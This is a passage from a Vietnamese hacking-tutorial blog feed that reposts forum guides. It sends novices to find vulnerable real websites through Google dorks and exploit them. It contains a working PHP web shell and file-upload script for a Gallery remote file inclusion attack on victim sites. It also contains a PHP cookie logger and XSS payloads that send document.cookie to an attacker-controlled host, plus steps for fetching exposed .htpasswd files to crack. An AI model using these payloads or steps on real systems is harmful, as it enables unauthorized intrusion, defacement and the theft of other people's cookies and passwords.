&lt;br /&gt;Khi đã có  những thông tin đó rồi, thì tiếp đến là đánh giá và định danh những những dịch  vụ mà mục tiêu có. Việc này bao gồm quét cổng, xác định hệ điều hành, .v.v.. Các  công cụ được sử dụng ở đây như nmap, WS pingPro, siphon, fscam và còn nhiều công  cụ khác nữa.
&lt;br /&gt;&lt;u&gt;+ Enumeration :&lt;/u&gt; ( liệt kê tìm lỗ hổng )
&lt;br /&gt;Bước thứ ba  là tìm kiếm những tài nguyên được bảo vệ kém, hoạch tài khoản người dùng mà có  thể sử dụng để xâm nhập. Nó bao gồm các mật khẩu mặc định, các script và dịch vụ  mặc định. Rât nhiều người quản trị mạng không biết đến hoặc không sửa đổi lại  các giá trị này.
&lt;br /&gt;&lt;u&gt;+ Gaining Access:&lt;/u&gt; ( Tìm cách xâm nhập )
&lt;br /&gt;Bây giờ  kẻ xâm nhập sẽ tìm cách truy cập vào mạng bằng những thông tin có được ở ba bước  trên. Phương pháp được sử dụng ở đây có thể là tấn công vào lỗi tràn bộ đệm, lấy  và giải mã file password, hay thô thiển nhất là brute force (kiểm tra tất cả các  trường hợp) password. Các công cụ thường được sử dụng ở bước này là NAT, podium,  hoặc L0pht.
&lt;br /&gt;&lt;u&gt;+ Escalating Privileges :&lt;/u&gt; ( Leo thang đặc quyền )
&lt;br /&gt;Ví  dụ trong trường hợp &lt;span class="highlight"&gt;hacker&lt;/span&gt; xâm nhập đựợc vào mạng  với tài khoản guest, thì họ sẽ tìm cách kiểm soát toàn bộ hệ thống. &lt;span class="highlight"&gt;Hacker&lt;/span&gt; sẽ tìm cách ***** password của admin, hoặc sử dụng  lỗ hổng để leo thang đặc quyền. John và Riper là hai chương trình crack password  rất hay được sử dụng.
&lt;br /&gt;&lt;u&gt;+ Pilfering :&lt;/u&gt; ( Dùng khi các file chứa pass bị  sơ hở )
&lt;br /&gt;Thêm một lần nữa các máy tìm kiếm lại đựơc sử dụng để tìm các phương  pháp truy cập vào mạng. Những file text chứa password hay các cơ chế không an  toàn khác có thể là mồi ngon cho &lt;span class="highlight"&gt;hacker&lt;/span&gt;.
&lt;br /&gt;&lt;u&gt;+  Covering Tracks :&lt;/u&gt; ( Xoá dấu vết )
&lt;br /&gt;Sau khi đã có những thông tin cần  thiết, &lt;span class="highlight"&gt;hacker&lt;/span&gt; tìm cách xoá dấu vết, xoá các file  log của hệ điều hành làm cho người quản lý không nhận ra hệ thống đã bị xâm nhập  hoặc có biêt cũng không tìm ra kẻ xâm nhập là ai.
&lt;br /&gt;&lt;u&gt;+ Creating ``Back  Doors`` :&lt;/u&gt; ( Tạo cửa sau chuẩn bị cho lần xâm nhập tiếp theo được dễ dàng hơn  )
&lt;br /&gt;&lt;span class="highlight"&gt;Hacker&lt;/span&gt; để lại ``Back Doors``, tức là một cơ  chế cho phép &lt;span class="highlight"&gt;hacker&lt;/span&gt; truy nhập trở lại bằng con  đường bí mật không phải tốn nhiều công sức, bằng việc cài đặt Trojan hay tạo  user mới (đối với tổ chức có nhiều user). Công cụ ở đây là các loại Trojan,  keylog…
&lt;br /&gt;&lt;u&gt;+ Denial of Service (DoS) :&lt;/u&gt; ( Tấn công kiểu từ chối dịch vụ ) 
&lt;br /&gt;Nêu không thành công trong việc xâm nhập, thì DoS là phương tiện cuối cùng  để tấn công hệ thống. Nếu hệ thống không được cấu hình đúng cách, nó sẽ bị phá  vỡ và cho phép &lt;span class="highlight"&gt;hacker&lt;/span&gt; truy cập. Hoặc trong trường  hợp khác thì DoS sẽ làm cho hệ thống không hoạt động được nữa. Các công cụ hay  được sử dụng để tấn công DoS là trin00, Pong Of Death, teardrop, các loại nuker,  flooder . Cách này rất lợi hại , và vẫn còn sử dụng phổ biến hiện nay .
&lt;br /&gt;_  Tuỳ theo hiểu biết và trình độ của mình mà một &lt;span class="highlight"&gt;hacker&lt;/span&gt; bỏ qua bước nào . Không nhất thiết phảI làm theo  tuần tự . Các bạn hãy nhớ đến câu “ biết người biết ta trăm trận trăm thắng ” . 
&lt;br /&gt;
&lt;br /&gt;( Tài liệu của HVA và hackervn.net )
&lt;br /&gt;
&lt;br /&gt;29 . ) Cách tìm các  Website bị lỗi :
&lt;br /&gt;
&lt;br /&gt;_ Chắc các bạn biết đến các trang Web chuyên dùng  để tìm kiếm thông tin trên mạng chứ ? Nhưng các bạn chắc cũng không ngờ là ta có  thể dùng những trang đó để tìm những trang Web bị lỗi ( Tôi vẫn thường dùng  trang google.com và khuyên các bạn cũng nên dùng trang này vì nó rất mạnh và  hiệu quả ) .
&lt;br /&gt;_ Các bạn quan tâm đến lỗi trang Web và muốn tìm chúng bạn chỉ  cần vào google.com và đánh đoạn lỗi đó vào sau “allinurl : ” . VD ta có đoạn mã  lỗi trang Web sau :
&lt;br /&gt;
&lt;br /&gt;cgi-bin/php.cgi?/etc/passwd
&lt;br /&gt;
&lt;br /&gt;các bạn sẽ đánh  :
&lt;br /&gt;
&lt;br /&gt;“allinurl:cgi-bin/php.cgi?/etc/passwd”
&lt;br /&gt;
&lt;br /&gt;Nó sẽ liệt kê ra những  trang Web đang bị lỗi này cho các bạn , các bạn hãy nhìn xuống dưới cùng của mỗi  mẫu liệt kê ( dòng địa chỉ màu xanh lá cây ) nếu dòng nào viết y chang từ khoá  mình nhập vào thì trang đó đã hoặc đang bị lỗi .Các bạn có xâm nhập vào được hay  không thì cũng còn tuỳ vào trang Web đó đã fix lỗi này hay chưa nữa .
&lt;br /&gt;_ Các  bạn quan tâm đến lỗi forum , các bạn muốn tìm forum dạng này để thực tập , chỉ  cần nhập từ khoá
&lt;br /&gt;
&lt;br /&gt;powered by
&lt;br /&gt;
&lt;br /&gt;VD sau là để tìm forum dùng Snitz  2000 :
&lt;br /&gt;
&lt;br /&gt;powered by Snitz 2000
&lt;br /&gt;
&lt;br /&gt;_ Tuy nhiên , việc tìm ra đúng  forum hoặc trang Web bị lỗi theo cách đó có xác suất không cao , bạn hãy quan  tâm đến đoạn string đặc biệt trong URL đặc trưng cho từng kiểu trang Web hoặc  forum đó ( cái này rất quan trọng , các bạn hãy tự mình tìm hiểu thêm nhé ) . VD  tìm với lỗi &lt;a href="http://www.ddth.com/autolink.php?id=4&amp;amp;script=showthread&amp;amp;forumid=32" target="_blank"&gt;Hosting&lt;/a&gt; Controller thì ta sẽ có đoạn đặc trưng sau 
&lt;br /&gt;
&lt;br /&gt;``/admin hay /advadmin hay /hosting``
&lt;br /&gt;
&lt;br /&gt;ta hãy đánh từ khoá : 
&lt;br /&gt;
&lt;br /&gt;allinurl:/advadmin
&lt;br /&gt;hoặc allinurl:/admin
&lt;br /&gt;hoặc allinurl:/hosting 
&lt;br /&gt;
&lt;br /&gt;Nó sẽ liệt kê ra các trang Web có URL dạng :
&lt;br /&gt;
&lt;br /&gt;&lt;a href="http://tentrangweb.com/advadmin" target="_blank"&gt;http://tentrangweb.com/advadmin&lt;/a&gt;
&lt;br /&gt;hoặc &lt;a href="http://tentrangweb.com/admin" target="_blank"&gt;http://tentrangweb.com/admin&lt;/a&gt;
&lt;br /&gt;hoặc &lt;a href="http://tentrangweb.com/hosting" target="_blank"&gt;http://tentrangweb.com/hosting&lt;/a&gt;
&lt;br /&gt;
&lt;br /&gt;VD với forum UBB có  đoạn đặc trưng
&lt;br /&gt;
&lt;br /&gt;``cgi-bin/ultimatebb.cgi?``
&lt;br /&gt;
&lt;br /&gt;Ta cũng tìm tương tự  như trên .
&lt;br /&gt;Chỉ cần bạn biết cách tìm như vậy rồi thì sau này chỉ cần theo  dõi thông tin cập nhật bên trang “Lỗi bảo mật” của HVA do bạn LeonHart post hằng  ngày các bạn sẽ hiểu được ý nghĩa của chúng và tự mình kiểm tra .
&lt;br /&gt;
&lt;br /&gt;30  . ) Kỹ thuật hack Web thông qua lỗi Gallery ( một dạng của lỗi php code inject  ):
&lt;br /&gt;
&lt;br /&gt;_ Gallery là một công cụ cho phép tạo một gallery ảnh trên web  được viết bằng PHP , lợi dụng sơ hở này ta có thể lợi dụng để viết thêm vào đó  một mã PHP cho phép ta upload , đó chính là mục đích chính của ta .
&lt;br /&gt;_ Trước  hết bạn hãy đăng ký một &lt;a href="http://www.ddth.com/autolink.php?id=1&amp;amp;script=showthread&amp;amp;forumid=32" target="_blank"&gt;host&lt;/a&gt; miễn phí , tốt nhất là bạn đăng ký ở brinkster.com cho dễ  . Sau đó bạn mở notepad và tạo file PHP với đoạn mã sau :
&lt;br /&gt;
&lt;br /&gt;CODE 
&lt;br /&gt;&lt;?php
&lt;br /&gt;global $PHP_SELF;
&lt;br /&gt;echo ``
&lt;br /&gt;&lt;form method="post" action="$PHP_SELF?$QUERY_STRING"&gt;
&lt;br /&gt;&lt;input type="text" name="shell" size="40"&gt;
&lt;br /&gt;&lt;input type="hidden" name="act" value="shell"&gt;
&lt;br /&gt;&lt;input type="submit" value="Go" name="sm"&gt;
&lt;br /&gt;``;
&lt;br /&gt;set_magic_quotes_runtime(1); 
&lt;br /&gt;if ($act == ``shell``) {
&lt;br /&gt;echo  ``\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n &lt;&gt; ``; 
&lt;br /&gt;system($shell);
&lt;br /&gt;echo  ``
&lt;br /&gt;
&lt;br /&gt;\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n`` ; }
&lt;br /&gt;echo `` ``; 
&lt;br /&gt;? &gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;Đoạn mã này bạn hãy tạo làm 2 file có tên khác nhau (  nhưng cùng chung một mã ) và đặt tên là :
&lt;br /&gt;+ shellphp.php : file này dùng để  chạy shell trên victim &lt;a href="http://www.ddth.com/autolink.php?id=1&amp;amp;script=showthread&amp;amp;forumid=32" target="_blank"&gt;host&lt;/a&gt; .
&lt;br /&gt;+ init.php : file này dùng để upload lên trang có  &lt;a href="http://www.ddth.com/autolink.php?id=1&amp;amp;script=showthread&amp;amp;forumid=32" target="_blank"&gt;host&lt;/a&gt; bạn vừa tạo . ( Bạn hãy upload file init.php này lên sớm  vì ta sẽ còn sử dụng nó nhưng với đoạn mã khác , bạn quên upload file này lên là  tiêu )
&lt;br /&gt;
&lt;br /&gt;Bạn hãy tạo thêm một file PHP với mã sau :
&lt;br /&gt;
&lt;br /&gt;CODE 
&lt;br /&gt;&lt;?php
&lt;br /&gt;function handleupload() {
&lt;br /&gt;if  (is_uploaded_file($_FILES[`userfile`][`tmp_name`])) {
&lt;br /&gt;$filename =  $_FILES[`userfile`][`tmp_name`];
&lt;br /&gt;print ``$filename was uploaded  successfuly``;
&lt;br /&gt;$realname = $_FILES[`userfile`][`name`];
&lt;br /&gt;print ``realname  is $realname\n``;
&lt;br /&gt;print ``copying file to uploads dir ``.$realname; 
&lt;br /&gt;copy($_FILES[`userfile`][`tmp_name`],*PATH*.$realna me); // lưu ý *PATH*  chúng ta sẽ thay đổi sau
&lt;br /&gt;} else {
&lt;br /&gt;echo ``Possible file upload attack:  filename``.$_FILES[`userfile`][`name`].``.``;
&lt;br /&gt;}
&lt;br /&gt;}
&lt;br /&gt;if ($act ==  ``upload``) {
&lt;br /&gt;handleupload();
&lt;br /&gt;}
&lt;br /&gt;echo ``
&lt;br /&gt;&lt;form enctype="multipart/form-data" method="post" action="$PHP_SELF?$QUERY_STRING"&gt; 
&lt;br /&gt;File:&lt;input type="FILE" name="userfile" size="35"&gt;
&lt;br /&gt;&lt;input type="hidden" name="MAX_FILE_SIZE" value="1000000"&gt;
&lt;br /&gt;&lt;input type="hidden" name="act" value="upload"&gt;
&lt;br /&gt;&lt;input type="submit" value="Upload" name="sm"&gt; 
&lt;br /&gt;
&lt;br /&gt;``;
&lt;br /&gt;? &gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;Bạn hãy đặt tên là upload.php , nó sẽ dùng để  upload lên trang Web của nạn nhân .
&lt;br /&gt;_ Tiếp theo Bạn vào Google, gõ ``Powered  by gallery`` rồi enter, Google sẽ liệt kê một đống những site sử dụng Gallery ,  bạn hãy chọn lấy một trang bất kỳ rồI dùng link sau để thử xem nó còn mắc lỗI  Gallery hay không :
&lt;br /&gt;
&lt;br /&gt;http:// trang Web của nạn nhân &gt;  /gallery./captionator.php?GALLERY_BASEDIR=http://ww wxx.brinkster.com/ / 
&lt;br /&gt;
&lt;br /&gt;Nếu bạn thấy hiện lên một ô hình chữ nhật ở phía trên cùng , bên phải  của nó là ô lệnh chuyển tiếp có chữ “Go” là coi như bạn đã tìm thấy được đốI  tượng rồi đó . Bây giờ bạn đã có thể gõ lệnh thông qua ô chữ nhật đó để hack Web  của nạn nhân .
&lt;br /&gt;Trước hết bạn hãy gõ lệnh “pwd” để xác định đường dẫn tuyệt  đối đến thư mục hiện thời rồi nhấn nút “Go” , khi nó cho kết quả bạn hãy nhanh  chóng ghi lại đường dẫn ở phía dướI ( Tôi sẽ sử dụng VD đường dẫn tôi tìm thấy  là “/home/abc/xyz/gallery” ).
&lt;br /&gt;Sau đó bạn đánh tiếp lệnh “|s –a|” để liệt kê  các thư mục con của nó . Bây giờ bạn hãy nhìn kết quả , bạn sẽ thấy một đống các  thư mục con mà ta đã liệt kê . Bạn hãy luôn nhớ là mục đích của chúng ta là tìm  một thư mục có thể dùng để upload file upload.php mà ta đã chuẩn bị từ trước do  đó bạn hãy xác định cùng tôi bằng cách nhìn vào những chữ cuốI cùng của mỗi hàng  kết quả :
&lt;br /&gt;+ Bạn hãy loại bỏ trường hợp các thư mục mà có dấu “.” hoặc “..”  vì đây là thư mục gốc hoặc là thư mục ảo ( Nó thường được xếp trên cùng của các  hàng kết quả ) .
&lt;br /&gt;+ Bạn cũng loạI bỏ những hàng có chữ cuối cùng có gắn đuôi  ( VD như config.php , check.inc .v.v… ) vì đây là những file chứ không phải là  thư mục .
&lt;br /&gt;+ Còn lại là những thư mục có thể upload nhưng tôi khuyên bạn nên  chọn những hàng chứa tên thư mục mà có chứa số lớn hơn 1 ( Bạn có thể xác định  được chúng bằng cách nhìn cột thứ 2 từ trái sang ) , vì như vậy vừa chắc chắn  đây là thư mục không phải thư mục ảo , vừa làm cho admin của trang Web đó khó  phát hiện khi ta cài file của ta vào . Tôi VD tôi phát hiện ra thư mục “loveyou”  có chứa 12 file có thể cho ta upload , như vậy đường dẫn chính thức mà ta upload  lên sẽ là :
&lt;br /&gt;
&lt;br /&gt;/home/abc/xyz/Gallery/loveyou
&lt;br /&gt;
&lt;br /&gt;Bây giờ bạn hãy vào  account host của bạn, sửa nội dung file init.php giống như mã của file  upload.php, nhưng sửa lại *PATH* thành “/home/abc/xyz/gallery/loveyou/ ”. Đồng  thời cũng chuẩn bị một file upload.php trên máy của bạn với *PATH* là “” ( 2 dấu  ngoặc kép ).
&lt;br /&gt;Bây giờ là ta đã có thể upload file upload.php lên trang Web  của nạn nhân được rồi , bạn hãy nhập địa chỉ sau trên trình duyệt Web của bạn : 
&lt;br /&gt;
&lt;br /&gt;http:// trang Web của nạn nhân &gt;  /gallery./captionator.php?GALLERY_BASEDIR=http://ww wxx.brinkster.com/ / 
&lt;br /&gt;
&lt;br /&gt;Bạn sẽ thấy xuất hiện tiếp một khung hình chữ nhật và bên cạnh là có 2  nút lệnh , một là nút “brown” , một là nút “upload” . Nút “brown” bạn dùng để  dẫn đến địa chỉ file upload.php bạn đã chuẩn bị trên máy của bạn , nút “upload”  khi bạn nhấn vào đó thì nó sẽ upload file upload.php lên trang Web của nạn nhân  . Ok , bây giờ coi như bạn đã hoàn thành chặng đường hack Web rồi đó . Từ bây  giờ bạn hãy vận dụng để tấn công đối thủ như lấy database , password ( làm tương  tự như các bài hướng dẫn hack trước ) , nhưng các bạn chỉ nên thực tập chứ đừng  xoá database hay phá Web của họ. Nếu là một &lt;span class="highlight"&gt;hacker&lt;/span&gt;  chân chính các bạn chỉ cần upload lên trang Web dòng chữ : “Hack by ……..” là đủ  rồi .
&lt;br /&gt;Cũng như những lần trước , các bạn có thành công hay không cũng tuỳ  thuộc vào sự may mắn và kiên trì nghiên cứu vận dụng kiến thức của các bạn . 
&lt;br /&gt;
&lt;br /&gt;( Dựa theo hướng dẫn hack của huynh vnofear – viethacker.net ) 
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;GOODLUCK!!!!!!!!!!!!
&lt;br /&gt;
&lt;br /&gt;( Hết phần 4 )
&lt;br /&gt;Anhdenday 
&lt;br /&gt;HVA&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt; &lt;p class="MsoNormal"&gt; &lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;&lt;/div&gt;</description><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total></item><item><title>Những hiểu biết cơ bản nhất để trở thành Hacker - Phần 3</title><link>http://blogthuthuatvn.blogspot.com/2009/10/nhung-hieu-biet-co-ban-nhat-e-tro-thanh_6464.html</link><category>Câu chuyện IT</category><author>noreply@blogger.com (nakazasen)</author><pubDate>Fri, 9 Oct 2009 02:27:00 +0700</pubDate><guid isPermaLink="false">tag:blogger.com,1999:blog-3429202090384957014.post-1469834306438526501</guid><description>&lt;span style="font-weight: bold; font-family: arial;"&gt;20 . ) Cookie là gì ? &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold; font-family: arial;"&gt;_ Cookie là những phần dữ liệu nhỏ có cấu trúc được chia sẻ giữa web site và browser của người dùng. cookies được lưu trữ dưới những file dữ liệu nhỏ dạng text (size dưới 4k). Chúng được các site tạo ra để lưu trữ/truy tìm/nhận biết các thông tin về người dùng đã ghé thăm site và những vùng mà họ đi qua trong site. &lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold; font-family: arial;"&gt;Những thông tin này có thể bao gồm tên/định danh người dùng, mật khẩu, sở thích, thói quen...Cookie được browser của người dùng chấp nhận lưu trên đĩa cứng của máy mình, ko phải browser nào cũng hỗ trợ cookie. Sau một lần truy cập vào site, những thông tin về người dùng được lưu trữ trong cookie. Ở những lần truy cập sau đến site đó, web site có thể dùng lại những thông tin trong cookie (như thông tin liên quan đến việc đăng nhập vào 1 forum...) mà người ko phải làm lại thao tác đăng nhập hay phải nhập lại các thông tin khác. Vấn đề đặt ra là có nhiều site quản lý việc dùng lại các thông tin lưu trong cookie ko chính xác, kiểm tra ko đầy đủ hoặc mã hoá các thông tin trong cookie còn sơ hở giúp cho hacker khai thác để vượt qua cánh cửa đăng nhập, đoạt quyền điêu khiển site . &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold; font-family: arial;"&gt;_ Cookies thường có các thành phần sau : &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold; font-family: arial;"&gt;+ Tên: do người lập trình web site chọn &lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold; font-family: arial;"&gt;+ Domain: là tên miền từ server mà cookie được tạo và gửi đi &lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold; font-family: arial;"&gt;+ Đường dẫn: thông tin về đường dẫn ở web site mà bạn đang xem &lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold; font-family: arial;"&gt;+ Ngày hết hạn: là thời điểm mà cookie hết hiệu lực . &lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold; font-family: arial;"&gt;+ Bảo mật: Nếu giá trị này đựơc thiết lập bên trong cookie, thông tin sẽ đựơc mã hoá trong quá trình truyền giữa server và browser. &lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold; font-family: arial;"&gt;+ Các giá trị khác: là những dữ liệu đặc trưng được web server lưu trữ để nhận dạng về sau các giá trị này ko chứa các khoảng trắng, dấu chấm, phẩy và bị giới hạn trong khoảng 4k. &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold; font-family: arial;"&gt;( Tài liệu của Viethacker.net ) &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold; font-family: arial;"&gt;21 . ) Kỹ thuật lấy cắp cookie của nạn nhân : &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold; font-family: arial;"&gt;_ Trước hết , các bạn hãy mở notepad rồi chép đoạn mã sau vào notepad đó : &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold; font-family: arial;"&gt;CODE &lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold; font-family: arial;"&gt; 0) &lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold; font-family: arial;"&gt;{ &lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold; font-family: arial;"&gt;if (strlen($title) &gt; 0) &lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold; font-family: arial;"&gt;{ &lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold; font-family: arial;"&gt;print(``[--------$title--------]`` . HTML_LINE); &lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold; font-family: arial;"&gt;$res .= ``[--------$title--------]`` . LINE; &lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold; font-family: arial;"&gt;} &lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold; font-family: arial;"&gt;foreach ($arr as $key = &gt; $value) &lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold; font-family: arial;"&gt;{ &lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold; font-family: arial;"&gt;print(``[$key]`` . HTML_LINE); &lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold; font-family: arial;"&gt;print($arr[$key] . HTML_LINE); &lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold; font-family: arial;"&gt;$res .= ``[$key]`` . LINE . $arr[$key] . LINE; &lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold; font-family: arial;"&gt;} &lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold; font-family: arial;"&gt;} &lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold; font-family: arial;"&gt;return $res; &lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold; font-family: arial;"&gt;} &lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold; font-family: arial;"&gt;// get current date &lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold; font-family: arial;"&gt;$now = date(``Y-m-d H:i:s``); &lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold; font-family: arial;"&gt;// init &lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold; font-family: arial;"&gt;$myData = ``[-----$now-----]`` . LINE; &lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold; font-family: arial;"&gt;// get &lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold; font-family: arial;"&gt;$myData .= getvars($HTTP_GET_VARS, ````); &lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold; font-family: arial;"&gt;// file &lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold; font-family: arial;"&gt;$file = $REMOTE_ADDR . ``.txt``; &lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold; font-family: arial;"&gt;$mode = ``r+``; &lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold; font-family: arial;"&gt;if (!file_exists($file)) &lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold; font-family: arial;"&gt;$mode = ``w+``; &lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold; font-family: arial;"&gt;$fp = fopen ($file, $mode); &lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold; font-family: arial;"&gt;fseek($fp, 0, SEEK_END); &lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold; font-family: arial;"&gt;fwrite($fp, $myData); &lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold; font-family: arial;"&gt;fclose($fp); &lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold; font-family: arial;"&gt;? &gt; &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold; font-family: arial;"&gt;hoặc &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold; font-family: arial;"&gt;CODE &lt;/span&gt;&lt;br /&gt; &lt;br /&gt;&lt;script language="javascript"&gt; &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;?php  } else {  echo ``nope``;  }    (Bạn hãy sửa cái victim@yahoo.com thành địa chỉ Mail của bạn ) .   Bạn hãy save cái notepad này với tên “&lt;&gt; .php ” ( Nhớ là phải có .php ) rồi upload lên một host nào đó có hỗ trợ PHP , trong VD của tôi là abc.php .( Đối với các bạn đã từng làm Web chắc sẽ rất dễ phảI không ? ) . Đoạn mã này sẽ có nhiệm vụ ăn cắp thông tin (và có khi có cả cookie ) của nạn nhân khi họ mở dữ liệu có chứa đoạn mã này rồI tự động save thông tin đó thành file &lt;&gt; .txt . &lt;br /&gt;_ Còn một cách nữa để lấy cookie đựơc sử dụng trên các forum bị lỗi nhưng chưa fix , khi post bài bạn chi cần thêm đoạn mã sau vào bài của mình : &lt;br /&gt;&lt;br /&gt;CODE &lt;br /&gt;document.write(` `) &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;với host_php : là địa chỉ bạn đã upload file ăn cắp cookie đó lên . &lt;br /&gt;và abc.php là file VD của tôi . &lt;br /&gt;_ Ví dụ : khi áp dụng trong tag img, ta dùng như sau: &lt;br /&gt;&lt;br /&gt;CODE &lt;br /&gt;`)\"&gt; &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;hoặc: &lt;br /&gt;&lt;br /&gt;[CODE &lt;br /&gt;img]javascript: Document.write(`&amp;#x3cimg src=http://host_php/docs.php?docs=`+escape(document .cookie)+`&amp;#x3e`)\"&gt; &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;_ Bạn có thể tìm những trang web để thực hành thử cách trong VD này bằng cách vào google.com tìm những forum bị lỗi này bằng từ khoá ``Powered by …….. forum” với những forum sau : ikonboard, Ultimate Bulletin Board , vBulletin Board, Snitz . Nếu các bạn may mắn các bạn có thể tìm thấy những forum chưa fix lỗi này mà thực hành , ai tìm được thì chia sẽ với mọi người nhé . &lt;br /&gt;_ Còn nhiều đoạn mã ăn cắp cookie cũng hay lắm , các bạn hãy tự mình tìm thêm . &lt;br /&gt;&lt;br /&gt;22 . ) Cách ngắt mật khẩu bảo vệ Website : &lt;br /&gt;&lt;br /&gt;_ Khi các bạn tới tìm kiếm thông tin trên một trang Web nào đó , có một số chỗ trên trang Web đó khi bạn vào sẽ bị chặn lại và sẽ xuất hiện một box yêu cầu nhập mật khẩu , đây chính là khu vực riêng tư cất dấu những thông tin mật chỉ dành cho số người hoặc một nhóm người nào đó ( Nơi cất đồ nghề hack của viethacker.net mà báo e-chip đã nói tới chẳng hạn ) . Khi ta click vào cái link đó thì ( thông thường ) nó sẽ gọi tới .htpasswd và .htaccess nằm ở cùng trong thư mục bảo vệ trang Web . Tại sao phải dùng dấu chấm ở trước trong tên file `.htaccess`? Các file có tên bắt đầu là một dấu chấm `.` sẽ được các web servers xem như là các file cấu hình. Các file này sẽ bị ẩn đi (hidden) khi bạn xem qua thư mục đã được bảo vệ bằng file .htaccess .Hai hồ sơ này có nhiệm vụ điều khiển sự truy nhập tới cái link an toàn mà bạn muốn xâm nhập đó . Một cái quản lý mật khẩu và user name , một cái quản lý công việc mã hoá những thông tin cho file kia . Khi bạn nhập đúng cả 2 thì cái link đó mới mở ra . Bạn hãy nhìn VD sau : &lt;br /&gt;&lt;br /&gt;CODE &lt;br /&gt;Graham:F#.DG*m38d%RF &lt;br /&gt;Webmaster:GJA54j.3g9#$@f &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Username bạn có thể đọc được rùi , còn cái pass bạn nhìn có hiểu mô tê gì không ? Dĩ nhiên là không rồi . bạn có hiểu vì sao không mà bạn không thể đọc được chúng không ? cái này nó có sự can thiệp của thằng file .htaccess . Do khi cùng ở trong cùng thư mục chúng có tác động qua lại để bảo vệ lẫn nhau nên chúng ta cũng không dại gì mà cố gắng đột nhập rồi ***** mớ mật khẩu chết tiệt đó ( khi chưa có đồ nghề ***** mật khẩu trong tay . Tôi cũng đang nghiên cứu để có thể xâm nhập trực tiếp , nếu thành công tôi sẽ post lên cho các bạn ) . Lỗi là ở đây , chuyện gì sẽ xảy ra nếu cái .htpasswd nằm ngoài thư mục bảo vệ có file .htaccess ? Ta sẽ chôm được nó dễ dàng , bạn hãy xem link VD sau : &lt;br /&gt;&lt;br /&gt;http://www.company.com/cgi-bin/pro tected/ &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;hãy kiểm tra xem file .htpasswd có được bảo vệ bởI .htaccess hay không , ta nhập URL sau : &lt;br /&gt;&lt;br /&gt;http://www.company.com/cgi-bin/pro tected/.htpasswd &lt;br /&gt;&lt;br /&gt;Nếu bạn thấy có câu trả lờI `File not found` hoặc tương tự thì chắc chắn file này đã không được bảo vệ , bạn hãy tìm ra nó bằng một trong các URL sau : &lt;br /&gt;&lt;br /&gt;http://www.company.com/.htpasswd &lt;br /&gt;http://www.company.com/cgi-bin/.ht passwd &lt;br /&gt;http://www.company.com/cgi-bin/pas swords/.htpasswd &lt;br /&gt;http://www.company.com/cgi-bin/pas swd/.htpasswd &lt;br /&gt;&lt;br /&gt;nếu vẫn không thấy thì các bạn hãy cố tìm bằng các URL khác tương tự ( có thể nó nằm ngay ở thư mục gốc đấy ) , cho đến khi nào các bạn tìm thấy thì thôi nhé . &lt;br /&gt;Khi tìm thấy file này rồi , bạn hãy dùng chương trình ``John the ripper`` hoặc 